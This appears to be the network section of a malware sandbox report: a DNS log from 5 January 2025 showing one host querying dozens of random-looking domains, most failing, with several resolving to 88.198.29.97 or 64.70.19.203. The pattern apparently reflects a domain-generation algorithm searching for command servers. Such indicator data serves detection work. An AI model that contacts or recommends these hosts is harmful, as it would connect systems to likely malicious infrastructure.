Jan 5, 2025 10:50:52.703289986 CET	1.1.1.1	192.168.2.4	0x4c25	Name error (3)	monkkutsqof.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.063796043 CET	1.1.1.1	192.168.2.4	0x446	Name error (3)	xczmqhvqe.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.325254917 CET	1.1.1.1	192.168.2.4	0x25fe	Name error (3)	xczmqhvqe.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.407818079 CET	1.1.1.1	192.168.2.4	0x46ee	No error (0)	kybsrfuokmd.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.431581974 CET	1.1.1.1	192.168.2.4	0x2b09	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.443980932 CET	1.1.1.1	192.168.2.4	0x954c	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.548363924 CET	1.1.1.1	192.168.2.4	0x9c34	Name error (3)	ukgyw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.602088928 CET	1.1.1.1	192.168.2.4	0xf787	Name error (3)	ukgyw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.681421995 CET	1.1.1.1	192.168.2.4	0xdc2f	No error (0)	irsgwyech.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.700556040 CET	1.1.1.1	192.168.2.4	0xce0c	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.712591887 CET	1.1.1.1	192.168.2.4	0x8b8a	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.783653021 CET	1.1.1.1	192.168.2.4	0xe811	No error (0)	tguceicakxq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.888556004 CET	1.1.1.1	192.168.2.4	0xb34e	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:53.903040886 CET	1.1.1.1	192.168.2.4	0x578b	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.019779921 CET	1.1.1.1	192.168.2.4	0xf9d	Name error (3)	wseigwggpdup.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.081584930 CET	1.1.1.1	192.168.2.4	0x702c	Name error (3)	wseigwggpdup.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.158444881 CET	1.1.1.1	192.168.2.4	0xe3a8	Name error (3)	tgyqmynssmcag.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.194456100 CET	1.1.1.1	192.168.2.4	0xaea6	Name error (3)	tgyqmynssmcag.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.267512083 CET	1.1.1.1	192.168.2.4	0x5bca	Name error (3)	yvgaoygyg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.280023098 CET	1.1.1.1	192.168.2.4	0xe466	Name error (3)	yvgaoygyg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.410304070 CET	1.1.1.1	192.168.2.4	0x44fe	No error (0)	aukbxwufnkwsdi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.520711899 CET	1.1.1.1	192.168.2.4	0x7a0f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.534528017 CET	1.1.1.1	192.168.2.4	0xea1d	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.663651943 CET	1.1.1.1	192.168.2.4	0xf33f	Name error (3)	ybrmiofudloco.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.703773022 CET	1.1.1.1	192.168.2.4	0xee96	Name error (3)	ybrmiofudloco.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.781405926 CET	1.1.1.1	192.168.2.4	0x9134	No error (0)	dgtyfiwrs.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.886580944 CET	1.1.1.1	192.168.2.4	0xb72f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.899241924 CET	1.1.1.1	192.168.2.4	0x2127	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:54.979278088 CET	1.1.1.1	192.168.2.4	0xc595	Name error (3)	yowfygxup.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.001642942 CET	1.1.1.1	192.168.2.4	0x59a0	Name error (3)	yowfygxup.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.093003988 CET	1.1.1.1	192.168.2.4	0xac66	Name error (3)	wiszqdiksmqucq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.124182940 CET	1.1.1.1	192.168.2.4	0x65ff	Name error (3)	wiszqdiksmqucq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.213541985 CET	1.1.1.1	192.168.2.4	0xc657	Name error (3)	guvmy.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.239593029 CET	1.1.1.1	192.168.2.4	0x29b9	Name error (3)	guvmy.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.341078043 CET	1.1.1.1	192.168.2.4	0x6247	Name error (3)	xqlha.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.381608009 CET	1.1.1.1	192.168.2.4	0x83b7	Name error (3)	xqlha.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.479667902 CET	1.1.1.1	192.168.2.4	0xfb85	Name error (3)	wmnixgapw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.507781029 CET	1.1.1.1	192.168.2.4	0xc0fc	Name error (3)	wmnixgapw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.586174965 CET	1.1.1.1	192.168.2.4	0x3ac2	Name error (3)	cmyvciqxpys.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:55.599416018 CET	1.1.1.1	192.168.2.4	0xca21	Name error (3)	cmyvciqxpys.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.541493893 CET	1.1.1.1	192.168.2.4	0x624f	Name error (3)	okuexwgymciw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.737195969 CET	1.1.1.1	192.168.2.4	0xe9c	Name error (3)	okuexwgymciw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.813647032 CET	1.1.1.1	192.168.2.4	0x8bf3	Name error (3)	hbcoydew.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:56.825303078 CET	1.1.1.1	192.168.2.4	0x9de7	Name error (3)	hbcoydew.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.164314032 CET	1.1.1.1	192.168.2.4	0xd3e3	Name error (3)	xdgwlthsnfudy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.447319031 CET	1.1.1.1	192.168.2.4	0xcbfb	Name error (3)	xdgwlthsnfudy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.521205902 CET	1.1.1.1	192.168.2.4	0x9e08	Name error (3)	ailab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.537784100 CET	1.1.1.1	192.168.2.4	0x9f99	Name error (3)	ailab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.849380016 CET	1.1.1.1	192.168.2.4	0x5632	No error (0)	mzpgcqytymcukd.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:57.968009949 CET	1.1.1.1	192.168.2.4	0x7986	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.057447910 CET	1.1.1.1	192.168.2.4	0x4233	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.172734022 CET	1.1.1.1	192.168.2.4	0xd9b2	No error (0)	sodeuga.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.388938904 CET	1.1.1.1	192.168.2.4	0xe181	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.399975061 CET	1.1.1.1	192.168.2.4	0x779e	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.476890087 CET	1.1.1.1	192.168.2.4	0xd062	Name error (3)	ngzccmaioiowqy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.494040012 CET	1.1.1.1	192.168.2.4	0x648	Name error (3)	ngzccmaioiowqy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.826286077 CET	1.1.1.1	192.168.2.4	0xed03	Name error (3)	isyyurwajimz.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.836415052 CET	1.1.1.1	192.168.2.4	0x8351	Name error (3)	isyyurwajimz.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.909113884 CET	1.1.1.1	192.168.2.4	0x61f4	Name error (3)	gqvpmamcaek.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.920654058 CET	1.1.1.1	192.168.2.4	0x95eb	Name error (3)	gqvpmamcaek.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:58.987318039 CET	1.1.1.1	192.168.2.4	0x2ea0	Name error (3)	wgsorqygs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.009737968 CET	1.1.1.1	192.168.2.4	0x352b	Name error (3)	wgsorqygs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.090958118 CET	1.1.1.1	192.168.2.4	0x9520	No error (0)	wcwvj.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.161910057 CET	1.1.1.1	192.168.2.4	0x74e2	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.171262026 CET	1.1.1.1	192.168.2.4	0xeb2a	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.264492989 CET	1.1.1.1	192.168.2.4	0x2c7c	No error (0)	idmagweywhpmw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.373899937 CET	1.1.1.1	192.168.2.4	0x6d04	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.384032011 CET	1.1.1.1	192.168.2.4	0x5046	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.707490921 CET	1.1.1.1	192.168.2.4	0x2158	Name error (3)	beknnqtuzny.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:59.973180056 CET	1.1.1.1	192.168.2.4	0x7f9d	Name error (3)	beknnqtuzny.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.069242001 CET	1.1.1.1	192.168.2.4	0x2171	Name error (3)	sdqjaqxca.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.094124079 CET	1.1.1.1	192.168.2.4	0x842	Name error (3)	sdqjaqxca.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.170619965 CET	1.1.1.1	192.168.2.4	0x341e	No error (0)	gaedounls.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.241620064 CET	1.1.1.1	192.168.2.4	0xa454	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.252211094 CET	1.1.1.1	192.168.2.4	0x20f4	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.336786032 CET	1.1.1.1	192.168.2.4	0xcefc	Name error (3)	amkcguxwpox.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.353342056 CET	1.1.1.1	192.168.2.4	0xcb47	Name error (3)	amkcguxwpox.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.430381060 CET	1.1.1.1	192.168.2.4	0xc192	Name error (3)	ioiucynzuxpi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.450939894 CET	1.1.1.1	192.168.2.4	0x92ea	Name error (3)	ioiucynzuxpi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.538598061 CET	1.1.1.1	192.168.2.4	0xff56	No error (0)	usawfgu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.600965023 CET	1.1.1.1	192.168.2.4	0xde20	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:00.611669064 CET	1.1.1.1	192.168.2.4	0xff08	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.137639046 CET	1.1.1.1	192.168.2.4	0x4bda	Name error (3)	hxdrsskgeycit.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.172524929 CET	1.1.1.1	192.168.2.4	0xf85c	Name error (3)	hxdrsskgeycit.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.250155926 CET	1.1.1.1	192.168.2.4	0x3d46	Name error (3)	eqmpup.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.290044069 CET	1.1.1.1	192.168.2.4	0x80b3	Name error (3)	eqmpup.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.367672920 CET	1.1.1.1	192.168.2.4	0x179a	Name error (3)	yoeeupbua.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.380002975 CET	1.1.1.1	192.168.2.4	0x60db	Name error (3)	yoeeupbua.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.454982996 CET	1.1.1.1	192.168.2.4	0x1e76	Name error (3)	ckcmcxkbaojqt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.499327898 CET	1.1.1.1	192.168.2.4	0x2061	Name error (3)	ckcmcxkbaojqt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.601550102 CET	1.1.1.1	192.168.2.4	0x5bfb	Name error (3)	mrgiqzs.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.640146971 CET	1.1.1.1	192.168.2.4	0xf61c	Name error (3)	mrgiqzs.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.716849089 CET	1.1.1.1	192.168.2.4	0xae1c	Name error (3)	aiueaxvqy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:01.730309010 CET	1.1.1.1	192.168.2.4	0x50a	Name error (3)	aiueaxvqy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.571350098 CET	1.1.1.1	192.168.2.4	0x30a3	Name error (3)	vwgia.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.854255915 CET	1.1.1.1	192.168.2.4	0x2314	Name error (3)	vwgia.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.925091982 CET	1.1.1.1	192.168.2.4	0xe958	Name error (3)	mgsufsmmbq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:02.940310955 CET	1.1.1.1	192.168.2.4	0xa9c8	Name error (3)	mgsufsmmbq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.009102106 CET	1.1.1.1	192.168.2.4	0xd8ef	No error (0)	orwofownuaoc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.300209999 CET	1.1.1.1	192.168.2.4	0x2bd8	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.311193943 CET	1.1.1.1	192.168.2.4	0xb06f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.683343887 CET	1.1.1.1	192.168.2.4	0xdfcd	Name error (3)	cctgkue.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.793776035 CET	1.1.1.1	192.168.2.4	0xc263	Name error (3)	cctgkue.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.863269091 CET	1.1.1.1	192.168.2.4	0x501a	Name error (3)	crzmg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:03.910836935 CET	1.1.1.1	192.168.2.4	0x746a	Name error (3)	crzmg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:04.843947887 CET	1.1.1.1	192.168.2.4	0xb98a	Name error (3)	isqiqscotamu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:05.786484957 CET	1.1.1.1	192.168.2.4	0xcf3	Name error (3)	isqiqscotamu.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.631778955 CET	1.1.1.1	192.168.2.4	0x4a00	Name error (3)	coeonpsesopck.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.906552076 CET	1.1.1.1	192.168.2.4	0x1420	Name error (3)	coeonpsesopck.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.972563982 CET	1.1.1.1	192.168.2.4	0xe9d	Name error (3)	yjaacgn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:06.983179092 CET	1.1.1.1	192.168.2.4	0x5780	Name error (3)	yjaacgn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.047607899 CET	1.1.1.1	192.168.2.4	0xbf8a	Name error (3)	xsmlfswvw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.068537951 CET	1.1.1.1	192.168.2.4	0x12dc	Name error (3)	xsmlfswvw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.144083977 CET	1.1.1.1	192.168.2.4	0xf245	Name error (3)	oaqscmiai.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.204382896 CET	1.1.1.1	192.168.2.4	0x29a9	Name error (3)	oaqscmiai.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.309298038 CET	1.1.1.1	192.168.2.4	0x6110	Name error (3)	saxoeqhueqkit.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.319051027 CET	1.1.1.1	192.168.2.4	0x94de	Name error (3)	saxoeqhueqkit.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.480318069 CET	1.1.1.1	192.168.2.4	0x37da	Name error (3)	qgejoc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.668736935 CET	1.1.1.1	192.168.2.4	0x970a	Name error (3)	qgejoc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.735694885 CET	1.1.1.1	192.168.2.4	0xc476	No error (0)	guooewkujaa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.797827959 CET	1.1.1.1	192.168.2.4	0xfc5f	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.809515953 CET	1.1.1.1	192.168.2.4	0x7410	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:07.959616899 CET	1.1.1.1	192.168.2.4	0xfb89	Name error (3)	mkedkcayjfxgb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.146717072 CET	1.1.1.1	192.168.2.4	0xb4e4	Name error (3)	mkedkcayjfxgb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.228298903 CET	1.1.1.1	192.168.2.4	0x266f	No error (0)	gkgosusqx.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.305552006 CET	1.1.1.1	192.168.2.4	0x97da	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:08.316140890 CET	1.1.1.1	192.168.2.4	0x3e1a	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:09.148878098 CET	1.1.1.1	192.168.2.4	0x472f	Name error (3)	ugmgkdoiyi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:09.339231968 CET	1.1.1.1	192.168.2.4	0x4e2f	Name error (3)	ugmgkdoiyi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.174369097 CET	1.1.1.1	192.168.2.4	0x51b3	Name error (3)	uswduhjam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.271400928 CET	1.1.1.1	192.168.2.4	0x1bf6	Name error (3)	uswduhjam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.503007889 CET	1.1.1.1	192.168.2.4	0xaeac	Name error (3)	wxcqodg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.598284960 CET	1.1.1.1	192.168.2.4	0x9b1d	Name error (3)	wxcqodg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:10.954441071 CET	1.1.1.1	192.168.2.4	0xe22	Name error (3)	ygxfooxo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.228869915 CET	1.1.1.1	192.168.2.4	0xee23	Name error (3)	ygxfooxo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.302253008 CET	1.1.1.1	192.168.2.4	0x1f6f	Name error (3)	ebgsulu.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.347366095 CET	1.1.1.1	192.168.2.4	0x5fa1	Name error (3)	ebgsulu.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.410016060 CET	1.1.1.1	192.168.2.4	0x5078	Name error (3)	moktawaamewo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.421147108 CET	1.1.1.1	192.168.2.4	0x36cb	Name error (3)	moktawaamewo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.497370958 CET	1.1.1.1	192.168.2.4	0x83e	Name error (3)	laayxhqpe.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.507437944 CET	1.1.1.1	192.168.2.4	0xba12	Name error (3)	laayxhqpe.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.605845928 CET	1.1.1.1	192.168.2.4	0xcc1f	Name error (3)	joyaprq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.618033886 CET	1.1.1.1	192.168.2.4	0x129d	Name error (3)	joyaprq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.783893108 CET	1.1.1.1	192.168.2.4	0x25a5	Name error (3)	yoorxeo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.810645103 CET	1.1.1.1	192.168.2.4	0xc8fe	Name error (3)	yoorxeo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.876579046 CET	1.1.1.1	192.168.2.4	0xfe7e	Name error (3)	kaqjeyxwsjs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.902265072 CET	1.1.1.1	192.168.2.4	0x770b	Name error (3)	kaqjeyxwsjs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.988116980 CET	1.1.1.1	192.168.2.4	0xad92	Name error (3)	uiuceavzotuik.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:11.999178886 CET	1.1.1.1	192.168.2.4	0xbab7	Name error (3)	uiuceavzotuik.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.161082029 CET	1.1.1.1	192.168.2.4	0x2f20	Name error (3)	pysemq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.271184921 CET	1.1.1.1	192.168.2.4	0xf25a	Name error (3)	pysemq.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.329859018 CET	1.1.1.1	192.168.2.4	0xcfe8	Name error (3)	yefoyvm.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.341187000 CET	1.1.1.1	192.168.2.4	0x38e2	Name error (3)	yefoyvm.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.407560110 CET	1.1.1.1	192.168.2.4	0xaa0b	Name error (3)	pkpfwssxq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.419001102 CET	1.1.1.1	192.168.2.4	0xb5b5	Name error (3)	pkpfwssxq.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.487739086 CET	1.1.1.1	192.168.2.4	0x3028	Name error (3)	iizkbggrq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.503824949 CET	1.1.1.1	192.168.2.4	0xfa54	Name error (3)	iizkbggrq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.573081017 CET	1.1.1.1	192.168.2.4	0x95ff	No error (0)	yeayernlfuuer.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.590667009 CET	1.1.1.1	192.168.2.4	0x6999	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.602292061 CET	1.1.1.1	192.168.2.4	0x6026	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.677128077 CET	1.1.1.1	192.168.2.4	0x6fc6	Name error (3)	jqmpigygnosc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.701581955 CET	1.1.1.1	192.168.2.4	0x7e6c	Name error (3)	jqmpigygnosc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.774530888 CET	1.1.1.1	192.168.2.4	0xb39a	Name error (3)	sxhawy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.784394979 CET	1.1.1.1	192.168.2.4	0xef17	Name error (3)	sxhawy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.852385998 CET	1.1.1.1	192.168.2.4	0xc4b2	Name error (3)	uumkibvwik.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:12.864142895 CET	1.1.1.1	192.168.2.4	0xe974	Name error (3)	uumkibvwik.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.049668074 CET	1.1.1.1	192.168.2.4	0xb23	Name error (3)	eacoikwuy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.160727978 CET	1.1.1.1	192.168.2.4	0x9ac4	Name error (3)	eacoikwuy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:13.396785021 CET	1.1.1.1	192.168.2.4	0x60ce	Name error (3)	qyrcizm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.177380085 CET	1.1.1.1	192.168.2.4	0x203d	Name error (3)	qyrcizm.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.237358093 CET	1.1.1.1	192.168.2.4	0x4827	No error (0)	erteu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.358872890 CET	1.1.1.1	192.168.2.4	0xb3	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.402005911 CET	1.1.1.1	192.168.2.4	0x66f5	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.533607006 CET	1.1.1.1	192.168.2.4	0x2f85	No error (0)	iilhzyzz.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.604258060 CET	1.1.1.1	192.168.2.4	0xc526	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
